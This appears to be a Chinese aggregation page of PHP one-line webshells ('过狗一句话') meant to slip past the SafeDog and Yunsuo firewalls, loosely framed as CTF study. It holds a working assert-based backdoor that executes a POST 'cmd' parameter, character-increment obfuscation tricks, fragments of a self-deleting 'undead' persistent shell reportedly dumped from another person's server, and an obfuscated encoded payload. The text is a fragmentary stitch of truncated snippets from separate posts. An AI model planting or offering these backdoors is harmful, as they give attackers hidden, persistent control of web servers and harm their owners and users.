分享几个好玩的过狗一句话

之前玩CTF遇到一个一句话很有意思,于是就把之前收藏的文章拿出来看看,学习一下,同时分享给各位。所有的吗都是在前人的基础上稍作修改,对于一些关键点会稍作解释,方便大家理解。

第一种

隐藏关键字,通过对单个字符变量进行++操作来获取其他字符,再进行拼接得到我们想要的函数。


1
2
3
4
5
6
7
8
@$_=[].'';        //PHP5.3之后(不包括5.3)才能这么用,数组被强制转换成字符串,获取字符串Array,等下要用到A
@$___=$_[''];     //获取A字符,这里的空字符串会被转换成0,即['']变成[0]

$_ = 'A';
$_++;//$_的值为A

$__ = "Z";
$__++;//$__的值为AA,而不会是ASCII字符Z

发一个过狗一句话

过狗一句话

中国菜刀专用过狗免杀PHP一句话

   中国菜刀专用过狗一句话

php过狗一句话

<?php
/*

isDog

*/
                // $a assert
        $a = "0,1,2,3,4,5,s,y,s,t,e,m";
        // 根据','转换成数组
        $array = explode(",",$a);
                // 空变量


过狗过云锁一句话

thum-4a471512647354.jpg

php不死shell

<?php       set_time_limit(0);       ignore_user_abort(1);       unlink(__FILE__);       while(1){     &nbs

php不死马

在别人服务器上dump下了这个文件,分析了一下,是一个挺有意思的不死马,分析以后跟大家分享一下所以这算原创还是转载…毕竟不是我写的马 有啥不合适的我再改(这个不死马的主体是这个文件,不妨叫Trojan.php<?php @unlink($_SERVER['SCRIPT_FILENAME']); //删除自身 error_reporting(0); //禁用错误报告 ignore_user_abort(true); //忽略与用户的断开,用户浏览

两款变态的PHP一句话

<?php  $pg="lZFUl9OrrQUrr1FIl0gLiAkX1NFUlZFUlsiUkVRVUrrVTVF9rrVUkkirrXTrrsKICAgIH0KICAgIHJldHVybrrirrArrkcGFnZrrVVSTDsKfQoKJF91cmw9Y3VyUGFnZVVSTCgpOwokdXJsPSdodHRwOi8vY25rroNGNrZmrrYud2ViLTE3Ni5jb20vWXpKb2JHSkhkejA9LnBrrocD91cmw9Jy4kX3Vy

最新过狗一句话

无聊写了个简单但是安全狗查不出的一句话后门
:/

文件名:assert.php
代码:

<?php
${"function"}=substr(__FILE__,-10,-4);;
${"command"}=$_POST[cmd];
$function($command);


assert免杀一句话

0x00 eval和assert的区别

http://www.vuln.cn/8395
http://www.php.net/manual/zh/function.eval.php
http://php.net/manual/zh/functions.variable-functions.php

1)assert是函数,eval不是函数,是语言构造器
2)eval($a)中$a只能是字符串,assert($a)中$a可以是php代码,也可以是php代码的字符串,assert($a)的$a如果是字符串形式不能有2个以上的
分号,如果有2个以上的分号只执行到第一个,使用assert来执行多条php语句可借助eval来实现.